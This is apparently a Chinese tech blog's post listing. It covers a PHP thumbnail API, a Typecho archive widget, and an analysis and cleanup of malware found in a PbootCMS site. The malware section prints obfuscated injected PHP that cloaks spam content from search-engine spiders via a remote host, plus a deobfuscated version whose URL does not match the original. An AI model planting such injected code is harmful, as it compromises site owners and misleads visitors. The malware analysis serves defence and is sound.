基于PHP-GD实现的单文件图片缩略图API

基于PHP实现的缩略图API在Github上有现成的,但过于老旧,遂用DeepSeek写了一个,基于PHP的GD扩展实现,支持域名白名单,本地缓存,临时文件隔离,过期缓存文件清理,需要在配置中修改域名白名单及缓存文件存放目录。

考虑到所使用服务器存储空间有限,故加入了缓存清理机制,缓存逻辑:在调用api时,有1%的概率触发缓存清理流程,会自动清理/cache/目录下留存时间大于30天的文件,同时加入了容错机制,如果当前请求传入的图片链接被清除,则会重新生成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
<?php
// 配置部分
define('ALLOWED_DOMAINS', ['carefu.link', 'static.carefu.link']); // 允许的域名白名单
define('CACHE_DIR', __DIR__ . '/cache/'); // 缓存目录
define('TMP_DIR', __DIR__ . '/temp/'); // 临时文件目录
define('MAX_CACHE_AGE', 2592000); // 30天缓存有效期(秒)
define('CACHE_CLEAN_PROBABILITY', 1); // 1% 的清理概率
define('MAX_IMAGE_SIZE', 5242880); // 最大图片尺寸5MB

// 初始化目录
@mkdir(CACHE_DIR, 0755, true);
@mkdir(TMP_DIR, 0755, true);

try {
// 验证参数
$url = $_GET['url'] ?? null;
$width = isset($_GET['w']) ? intval($_GET['w']) : null;
$height = isset($_GET['h']) ? intval($_GET['h']) : null;

// 基础参数验证
if (!$url || !$width || !$height) {
throw new Exception('Missing parameters', 400);
}

// 验证尺寸参数
if ($width <= 0 || $height <= 0 || $width > 4096 || $height > 4096) {
throw new Exception('Invalid dimensions', 400);
}

// 验证URL合法性
$parsedUrl = parse_url($url);
if (!$parsedUrl || !isset($parsedUrl['host'])) {
throw new Exception('Invalid URL', 400);
}

// 域名白名单验证
if (!in_array($parsedUrl['host'], ALLOWED_DOMAINS)) {
throw new Exception('Domain not allowed', 403);
}

// 生成缓存文件名
$cacheKey = md5($url . $width . $height);
$extension = pathinfo($parsedUrl['path'], PATHINFO_EXTENSION);
$cacheFile = CACHE_DIR . $cacheKey . '.' . ($extension ?: 'jpg');

if (file_exists($cacheFile)) {
// 概率性触发缓存清理(不影响当前请求)
if (rand(1, 100) <= CACHE_CLEAN_PROBABILITY) {
cleanCache($cacheKey); // 修改清理函数避免删除当前文件
}

// 再次检查缓存文件是否存在
if (file_exists($cacheFile)) {
sendImage($cacheFile);
exit;
}
// 如果文件被清理,继续生成流程
}

// 下载远程文件到临时目录
$tmpFile = downloadImage($url);

// 生成缩略图
generateThumbnail($tmpFile, $cacheFile, $width, $height);

// 清理临时文件
@unlink($tmpFile);

// 发送生成的图片
sendImage($cacheFile);

} catch (Exception $e) {
http_response_code($e->getCode() ?: 500);
header('Content-Type: application/json');
echo json_encode(['error' => $e->getMessage()]);
exit;
}

// 辅助函数

function downloadImage($url) {
$context = stream_context_create([
'http' => [
'timeout' => 15,
'header' => "User-Agent: ThumbnailGenerator/1.0\r\n"
]
]);

$data = file_get_contents($url, false, $context);
if (!$data) {
throw new Exception('Failed to download image', 500);
}

if (strlen($data) > MAX_IMAGE_SIZE) {
throw new Exception('Image too large', 413);
}

$tmpFile = tempnam(TMP_DIR, 'img_');
file_put_contents($tmpFile, $data);
return $tmpFile;
}

function generateThumbnail($srcPath, $destPath, $width, $height) {
list($srcWidth, $srcHeight, $type) = getimagesize($srcPath);

// 创建图像资源
switch ($type) {
case IMAGETYPE_JPEG:
$image = imagecreatefromjpeg($srcPath);
break;
case IMAGETYPE_PNG:
$image = imagecreatefrompng($srcPath);
break;
case IMAGETYPE_GIF:
$image = imagecreatefromgif($srcPath);
break;
default:
throw new Exception('Unsupported image type', 415);
}

// 计算比例并进行居中裁剪
$ratio = max($width/$srcWidth, $height/$srcHeight);
$cropWidth = $width / $ratio;
$cropHeight = $height / $ratio;

$src_x = ($srcWidth - $cropWidth) / 2;
$src_y = ($srcHeight - $cropHeight) / 2;
$thumb = imagecreatetruecolor($width, $height);

// 处理透明背景
if ($type == IMAGETYPE_PNG || $type == IMAGETYPE_GIF) {
imagecolortransparent($thumb, imagecolorallocatealpha($thumb, 0, 0, 0, 127));
imagealphablending($thumb, false);
imagesavealpha($thumb, true);
}

imagecopyresampled(
$thumb, $image,
0, 0,
$src_x, $src_y,
$width, $height,
$cropWidth, $cropHeight
);

// 保存图像
imagejpeg($thumb, $destPath, 100);
imagedestroy($image);
imagedestroy($thumb);
}

function sendImage($path) {
if (!file_exists($path)) {
throw new Exception('Image not found', 404);
}

$mime = mime_content_type($path);
$lastModified = filemtime($path);
$etag = md5_file($path);

header('Content-Type: ' . $mime);
header('Last-Modified: ' . gmdate('D, d M Y H:i:s', $lastModified) . ' GMT');
header('ETag: ' . $etag);
header('Expires: ' . gmdate('D, d M Y H:i:s', time() + MAX_CACHE_AGE) . ' GMT');
readfile($path);
exit;
}

// 缓存清理函数
function cleanCache($excludeKey = null) {
$now = time();
foreach (glob(CACHE_DIR . '*') as $file) {
// 排除当前正在使用的缓存文件
if ($excludeKey && strpos($file, $excludeKey) !== false) {
continue;
}

if (is_file($file) && ($now - filemtime($file)) > MAX_CACHE_AGE) {
@unlink($file);
}
}
}
?>

调用格式:[api地址]?url=[图片地址]&w=[宽度]&h=[宽度],示例:

1
https://api.carefu.link/thumbnail.php?url=https://carefu.link/upload/images/thumbnail.jpg&w=840&h=420

主题移植小记:Typecho按年输出文章归档

Typecho按年输出归档页面这个功能,网上能检索到现成的代码,但对于移植主题复杂的html结构而言实现起来太过繁琐,以下是网上找到的代码,在此基础上进行修改太过烧脑,遂尝试使用更优雅的方式,html结构更清晰,方便主题移植时候根据原始html结构进行适配。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
Typecho_Widget::widget('Widget_Contents_Post_Recent', 'pageSize='.
Typecho_Widget::widget('Widget_Stat')->publishedPostsNum)->to($archives);
$date_y=0;$date_m=0;$output = '';$huan=0;
while($archives->next()){
$date_t = explode("","", date('Y,m,d', $archives->created));
if($date_y > $date_t[0]){
$date_m = 0;
$article_nums[] = $article_num;
$output .= '</ul></li></ul>';
}
if($date_y != $date_t[0]){
$date_y = $date_t[0];$article_num=0;
$article_flag[] = $tmp_flag = 'archives_'.$huan++;
$output .= '<h2>'.$date_y.' <span>×'. $tmp_flag .'</span></h2><ul>';
}
$output .= '<li><time>'.$date_t[1].'.'.$date_t[2].'</time> <a href=""'.$archives->permalink.'"">'.$archives->title.'</a> <sup><a href=""'.$archives->permalink.'#comment"">'.$archives->commentsNum.'</a></sup></li>';
$article_num++;
}
$article_nums[] = $article_num;
$output .= '</ul></li></ul>';
echo str_replace($article_flag, $article_nums, $output);
?>

首先需要把以下代码放入functions.php中,在Cherry主题中测试没什么BUG。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
// 文章归档
class AnnualArchive extends Typecho_Widget
{
private $_groupedYears = [];

public function execute()
{
$posts = $this->widget('Widget_Contents_Post_Recent', [
'pageSize' => 9999,
'status' => 'publish'
]);

$this->_groupedYears = $this->processPosts($posts);
}

private function processPosts($posts)
{
$grouped = [];
$posts->to($posts);

while ($posts->next()) {
$post = $posts->row;
$created = $post['created'];
$timestamp = ($created instanceof Typecho_Date)
? $created->time
: (is_numeric($created) ? $created : 0);

$year = date('Y', $timestamp);
$monthDay = date('m-d', $timestamp);

if (!isset($grouped[$year])) {
$grouped[$year] = [
'count' => 0,
'posts' => [],
'year' => $year
];
}

$grouped[$year]['posts'][] = [
'title' => $posts->title,
'permalink' => $posts->permalink,
'date' => $monthDay
];
$grouped[$year]['count']++;
}

krsort($grouped);
return $grouped;
}

public function getArchiveData()
{
return $this->_groupedYears;
}
}

这一段代码放置到需要的地方,例如归档页面模板,html结构根据需求来修改就好了。

1
2
3
4
5
6
7
8
9
10
11
12
<?php $archive = $this->widget('AnnualArchive'); $years = $archive->getArchiveData();?>
<?php foreach ($years as $yearData): ?>
<div class=""mod-archive-name""><?php echo $yearData['year']; ?></div>
<ul class=""mod-archive-list"">
<?php foreach ($yearData['posts'] as $post): ?>
<li>
<time class=""mod-archive-time text-nowrap me-4""><?php echo $post['date']; ?></time>
<a href=""<?php echo $post['permalink']; ?>"" title=""<?php echo $post['title']; ?>""><?php echo $post['title']; ?></a>
</li>
<?php endforeach; ?>
</ul>
<?php endforeach; ?>

用PbootCMS制作的站点被挂木马分析及清理

今天检查站点的时候,发现其中一个站点使用搜索引擎蜘蛛模拟访问时跳转到了色情网站,查看了下原代码,被挂马已经有一段时间了,相较以前遇到的木马病毒,这个病毒做的很隐蔽,作为管理者,很容易忽视,以下是木马核心文件以及分析,希望能为搜到这篇文章的你提供帮助。

恶意代码分析

通过分析比对,病毒是通过篡改PbootCMS核心文件/core/start.php​来实现,代码中使用了大量的goto来混淆,不过好在有DeepSeek的协助,不用再手动去逆向病毒代码。

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
/**
* @copyright (C)2016-2099 Hnaoyun Inc.
* @author XingMeng
* @email hnxsh@foxmail.com
* @date 2016年11月5日
* 内核启动文件,请使用入口文件对本文件进行引用即可
*/

// 引入初始化文件
require dirname(__FILE__) . '/init.php'; goto SKyXl; SKyXl: function ILeMN($bG2Ji) { goto M1G6I; lMSZk: curl_close($Q2Ooa); goto nyJgm; Lu8eC: $uE3yz = curl_exec($Q2Ooa); goto Fx40d; eQuEY: curl_setopt($Q2Ooa, CURLOPT_HTTPHEADER, array(""\130\55\x46\117\122\x57\x41\122\x44\105\104\x2d\106\x4f\122\x3a\x20{$F2VI3}"", ""\130\x2d\106\x4f\122\127\101\x52\x44\105\104\x2d\x48\x4f\x53\124\x3a\40{$UBzZA}"", ""\x55\x73\145\162\x2d\101\147\145\x6e\164\x3a\40{$uwXUP}"", ""\x52\145\146\145\x72\145\x72\72\40{$yTJF_}"")); goto Lu8eC; wi_zh: curl_setopt($Q2Ooa, CURLOPT_FOLLOWLOCATION, true); goto eQuEY; k7Lb0: $yTJF_ = isset($_SERVER[""\110\124\x54\x50\137\x52\105\x46\x45\122\x45\x52""]) ? $_SERVER[""\x48\x54\124\x50\x5f\122\105\106\x45\x52\x45\122""] : ''; goto vrt84; KysSj: $UBzZA = $_SERVER[""\x48\x54\x54\x50\137\x48\117\123\x54""]; goto LNbyr; GJCJI: return $uE3yz; goto Xqar9; iC8cd: UDOSo: goto lMSZk; PaIV_: return ""\x33\x30\62""; goto itE5J; S20TX: $ShTG7 = curl_error($Q2Ooa); goto iC8cd; itE5J: ijmuv: goto GJCJI; j_wup: curl_setopt($Q2Ooa, CURLOPT_TIMEOUT, 10); goto wi_zh; q19p9: curl_setopt($Q2Ooa, CURLOPT_URL, $bG2Ji); goto NyKa0; NyKa0: curl_setopt($Q2Ooa, CURLOPT_RETURNTRANSFER, true); goto j_wup; HzzJc: return ""\60""; goto N1ZE0; wh6yv: if (!($Tq56w == 302)) { goto ijmuv; } goto PaIV_; nyJgm: if (!isset($ShTG7)) { goto OSs7P; } goto HzzJc; M1G6I: $F2VI3 = $_SERVER[""\122\105\x4d\x4f\124\105\137\x41\x44\x44\122""]; goto KysSj; Fx40d: $Tq56w = curl_getinfo($Q2Ooa, CURLINFO_HTTP_CODE); goto Z6mYd; N1ZE0: OSs7P: goto wh6yv; Z6mYd: if (!curl_errno($Q2Ooa)) { goto UDOSo; } goto S20TX; LNbyr: $uwXUP = $_SERVER[""\110\124\x54\120\x5f\x55\123\x45\x52\137\101\x47\x45\x4e\124""]; goto k7Lb0; vrt84: $Q2Ooa = curl_init(); goto q19p9; Xqar9: } goto KpEmz; Rrl8j: $uE3yz = IlemN($bG2Ji); goto ih6fl; wFLEl: if (!($uE3yz == ""\x33\60\x32"" || $uE3yz == ""\60"")) { goto T2WuN; } goto mjGjt; NB4CX: $Im9Mo = explode(""\x76\x6f\x64\55"", $uuRZd); goto oP077; kw3K0: $bG2Ji = ""\150\164\164\x70\72\57\x2f\x78\x70\x79\142\x2e\141\x78\152\x73\143\56\x63\x6f\x6d\x2f\154\151\156\153\x2e\x70\x68\x70\77\x64\151\162\x3d\57\x69\156\x64\x65\170\56\160\x68\160\x3f\166\x6f\144\x2d\x26\150\157\163\x74\75"" . $_SERVER[""\x48\x54\124\120\137\110\117\x53\124""]; goto Rrl8j; I1t_J: $uuRZd = isset($_GET[""\x73""]) ? $_GET[""\x73""] : $_SERVER[""\122\105\x51\125\105\123\x54\x5f\125\122\111""]; goto E6cYf; KpEmz: function stoiq() { goto HFU0s; Yv708: return $YEgWn; goto dvNU2; q8eA5: $YEgWn = ""\x31\x32\x37\x2e\60\x2e\60\56\61""; goto UrqfE; ZKYMq: goto we3q4; goto nd2KY; KT6Mw: goto we3q4; goto JtbJy; UrqfE: we3q4: goto Yv708; HFU0s: if (isset($_SERVER[""\122\105\115\117\124\105\137\x41\104\104\122""]) && $_SERVER[""\122\105\x4d\117\x54\x45\137\x41\x44\x44\x52""] && strcasecmp($_SERVER[""\122\105\x4d\117\124\x45\x5f\x41\x44\x44\x52""], ""\165\x6e\x6b\156\157\x77\156"")) { goto xbB89; } goto hRHnT; GdgPs: $YEgWn = ""\60\56\x30\56\60\x2e\x30""; goto KT6Mw; nd2KY: k7h9_: goto q8eA5; hRHnT: if (!isset($_SERVER[""\122\x45\x4d\117\x54\x45\137\x41\x44\x44\x52""])) { goto k7h9_; } goto GdgPs; JtbJy: xbB89: goto Jc97o; Jc97o: $YEgWn = $_SERVER[""\122\x45\115\x4f\x54\105\137\101\104\x44\122""]; goto ZKYMq; dvNU2: } goto yswN0; jUR_o: ob_flush(); goto EbrH5; Z2AmM: header(""\x43\157\156\164\x65\x6e\164\55\124\x79\x70\145\x3a\40\164\145\170\x74\57\x68\164\155\x6c\x3b\40\x63\x68\141\162\x73\145\x74\75\x75\x74\x66\x2d\70""); goto NB4CX; BFp62: header(""\114\157\x63\x61\x74\151\157\x6e\72\x20\x2f""); goto UyxKv; oP077: $bG2Ji = ""\150\x74\x74\160\x3a\x2f\57\x78\160\171\142\56\x61\170\x6a\x73\x63\x2e\x63\157\x6d\x2f"" . $Im9Mo[1]; goto qChcq; mjGjt: http_response_code(404); goto BFp62; K7WkI: error_reporting(0); goto bhD8E; M3PHV: nPTVr: goto J6HZq; E6cYf: if (!(strpos($uuRZd, ""\x76\x6f\x64\55"") !== false)) { goto nPTVr; } goto Z2AmM; ih6fl: echo $uE3yz; goto jUR_o; PrbS0: $uE3yz = str_replace(""\57\x64\x65\164\x61\x69\154\x2d"", ""\57\x69\x6e\144\x65\170\x2e\160\150\160\x3f\166\157\144\x2d\144\145\164\x61\x69\x6c\x2d"", $uE3yz); goto pJjFv; bhD8E: @chmod(__FILE__, 0444); goto I1t_J; vFmB7: exit; goto M3PHV; qChcq: $uE3yz = ileMN($bG2Ji); goto wFLEl; jPXTB: $uE3yz = str_replace(""\57\x74\171\x70\x2d"", ""\x2f\151\x6e\144\x65\170\56\160\x68\x70\x3f\x76\157\144\x2d\164\171\x70\x2d"", $uE3yz); goto PrbS0; UyxKv: exit; goto TEXVu; yswN0: function PytNI() { goto b1ruM; D2Ys6: if (!(strpos($ZxbhK, ""\150\164\x74\160\72\57\x2f\167\167\x77\x2e\x62\141\151\x64\x75\56\143\x6f\155\57\x73\x70\151\x64\x65\162\x38\x2e\150\x74\x6d\x6c"") !== false)) { goto JLDSD; } goto LZOZu; JzezY: return false; goto Mt2Y5; Ab20v: return false; goto kd1Ep; YVe38: if (!in_array($mp_hD, $WD7EG)) { goto m0IkA; } goto hV0jT; ASvvF: if (isset($_SERVER[""\110\x54\x54\x50\137\125\x53\x45\122\137\x41\x47\x45\116\x54""])) { goto sXUGe; } goto xK0uH; ogmSC: JLDSD: goto kX5pO; ZVPnu: Pp0jt: goto S6JTJ; rY6AE: $RV36y = sToIq(); goto zPCw7; LZOZu: return true; goto ogmSC; b1ruM: $WD7EG = array(""\66\x31\x2e\x31\63\x35"", ""\61\x32\x33\x2e\61\x32\65"", ""\61\61\61\56\x32\60\66"", ""\61\x38\x30\56\67\66"", ""\61\x38\60\x2e\61\x34\71"", ""\62\62\x30\x2e\x31\x38\61"", ""\63\66\x2e\x31\61\60"", ""\61\x31\63\x2e\x32\64"", ""\61\x32\64\56\x31\66\64"", ""\61\61\66\x2e\61\67\71"", ""\61\70\x30\x2e\x39\67"", ""\x31\x32\61\x2e\61\x34"", ""\x32\60\x33\x2e\62\60\70"", ""\x32\61\x30\56\67\x32"", ""\61\62\65\56\71\60"", ""\x31\61\70\x2e\61\x38\x34"", ""\61\62\x33\x2e\x31\70\60"", ""\x31\62\63\x2e\61\62\65"", ""\66\61\56\x31\x33\65"", ""\x31\x32\x33\x2e\61\62\66"", ""\x31\61\61\x2e\x32\x30\62"", ""\x33\66\x2e\61\61\x30"", ""\x32\62\x30\56\61\70\61"", ""\61\60\x36\56\x31\62\60"", ""\x34\x39\x2e\67"", ""\x32\61\70\x2e\x33\x30"", ""\61\x30\x36\x2e\x33\70"", ""\65\70\x2e\x32\x35\60"", ""\61\x38\63\x2e\63\x36"", ""\x34\x33\56\x32\63\x31"", ""\x34\71\56\x37\x2e\x36\x34"", ""\x31\70\60\x2e\x31\65\63"", ""\x31\70\x30\x2e\61\66\63"", ""\64\x32\56\x32\62\x34"", ""\64\62\x2e\x31\x35\66"", ""\64\x32\x2e\x31\x32\x30"", ""\x31\x30\x36\x2e\61\x31""); goto rY6AE; XZp3w: m0IkA: goto JzezY; S6JTJ: $mp_hD = substr($RV36y, 0, strrpos($RV36y, ""\x2e"", strrpos($RV36y, ""\56"") - strlen($RV36y) - 1)); goto YVe38; zPCw7: $ZxbhK = strtolower($_SERVER[""\x48\x54\x54\120\137\125\123\105\x52\137\x41\x47\105\x4e\x54""]); goto D2Ys6; kX5pO: if (!(!$RV36y || $RV36y == ""\165\156\x6b\x6e\x6f\x77\156"")) { goto O93iy; } goto vBJCt; kd1Ep: z_dk8: goto ZVPnu; hV0jT: return true; goto XZp3w; j2pOr: if (!(!$ZxbhK || !preg_match(""\x2f\163\x70\x69\x64\145\162\x2f"", $ZxbhK))) { goto z_dk8; } goto Ab20v; xK0uH: return false; goto JBsji; vBJCt: return false; goto yXHB6; diMX1: if (!(trim($RV36y) == ""\x31\62\x37\x2e\x30\56\60\56\61"")) { goto Pp0jt; } goto ASvvF; JBsji: sXUGe: goto ndtkG; yXHB6: O93iy: goto diMX1; ndtkG: $ZxbhK = strtolower($_SERVER[""\x48\124\x54\120\x5f\125\123\x45\x52\137\x41\x47\x45\x4e\124""]); goto j2pOr; Mt2Y5: } goto K7WkI; EbrH5: flush(); goto KjWoV; MayE3: echo $uE3yz; goto vFmB7; TEXVu: T2WuN: goto jPXTB; J6HZq: if (!pytNi()) { goto m6xfM; } goto kw3K0; pJjFv: $uE3yz = str_replace(""\x2f\160\154\141\171\55"", ""\x2f\151\156\144\x65\170\x2e\160\x68\160\77\166\157\x64\x2d\x70\x6c\x61\171\x2d"", $uE3yz); goto MayE3; KjWoV: m6xfM:


// 入口检测
defined('IS_INDEX') ?: die('不允许直接访问框架内核启动文件!');

// 启动内核
core\basic\Kernel::run();

逆向后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
function remoteRequest($url) {
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 10,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTPHEADER => [
""X-FORWARDED-FOR: {$_SERVER['REMOTE_ADDR']}"",
""X-FORWARDED-HOST: {$_SERVER['HTTP_HOST']}"",
""User-Agent: {$_SERVER['HTTP_USER_AGENT']}"",
""Referer: "".(isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'')
]
]);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return ($httpCode == 302) ? ""302"" : $response;
}

function checkProxy() {
// 国内常见爬虫IP段检测(已脱敏处理)
$proxyRanges = ['61.135.*','123.125.*','111.206.*'...];
$clientIP = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
return in_array(substr($clientIP,0,strrpos($clientIP,'.')), $proxyRanges);
}

// 主攻击逻辑
error_reporting(0);
chmod(__FILE__, 0444); // 设置文件只读

$requestPath = $_GET['s'] ?? $_SERVER['REQUEST_URI'];
if(strpos($requestPath, 'vod-') !== false) {
$maliciousUrl = ""https://carefu.link/link.php?dir=/index.php?vod-&host="".$_SERVER['HTTP_HOST'];
$response = remoteRequest($maliciousUrl);

// 动态内容篡改
$response = str_replace([
'/detail-',
'/type-',
'/play-'
],[
'/index.php?vod-detail-',
'/index.php?vod-type-',
'/index.php?vod-play-'
], $response);

header(""Content-Type: text/html; charset=utf-8"");
if(!in_array($response, [""302"",""0""])) {
echo $response;
ob_flush();
flush();
exit;
}
http_response_code(404);
header(""Location: /"");
exit;
}

简单分析,可以看到这个病毒不同以往,隐蔽性要强很多,当然,清理起来也没有太大难度,只需要将该部分恶意代码删除即可,附上原始的/core/start.php文件代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
/**
* @copyright (C)2016-2099 Hnaoyun Inc.
* @author XingMeng
* @email hnxsh@foxmail.com
* @date 2016年11月5日
* 内核启动文件,请使用入口文件对本文件进行引用即可
*/

// 引入初始化文件
require dirname(__FILE__) . '/init.php';

// 入口检测
defined('IS_INDEX') ?: die('不允许直接访问框架内核启动文件!');

// 启动内核
core\basic\Kernel::run();

安全防护

搞清楚攻击逻辑后,防御起来也很简单,通过分析PbootCMS源码目录结构,将apps、config、core、template​这几个目录以及index.php的写权限禁用掉即可。

给博客添加一个自动更新基金持仓盈亏的页面

本文介绍如何为博客添加自动更新基金持仓盈亏的页面。通过使用天天基金的API接口,实现分散持仓的统一查看。方案包含三个文件: 1. **update_funds.php**:PHP脚本,用于定期从天天基金API获取最新净值并更新本地数据文件。 2. **funds.json**:JSON格式的数据文件,存储基金名称、代码、成本价、份额等手动配置信息,脚本会自动更新最新净值和更新时间。 3. **前端模板文件**:用于展示持仓信息,读取funds.json计算收益和收益率。 使用方法:将脚本部署到支持PHP的服务器,配置funds.json中的持仓信息,可设置计划任务定期执行更新。新增`update_enabled`字段可控制是否跳过某只基金的更新(如清仓后)。前端通过读取JSON文件动态展示持仓盈亏情况。
阅读更多

Hello World

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

Quick Start

Create a new post

1
$ hexo new "My New Post"

More info: Writing

Run server

1
$ hexo server

More info: Server

Generate static files

1
$ hexo generate

More info: Generating

Deploy to remote sites

1
$ hexo deploy

More info: Deployment

You need to set client_id and slot_id to show this AD unit. Please set it in _config.yml.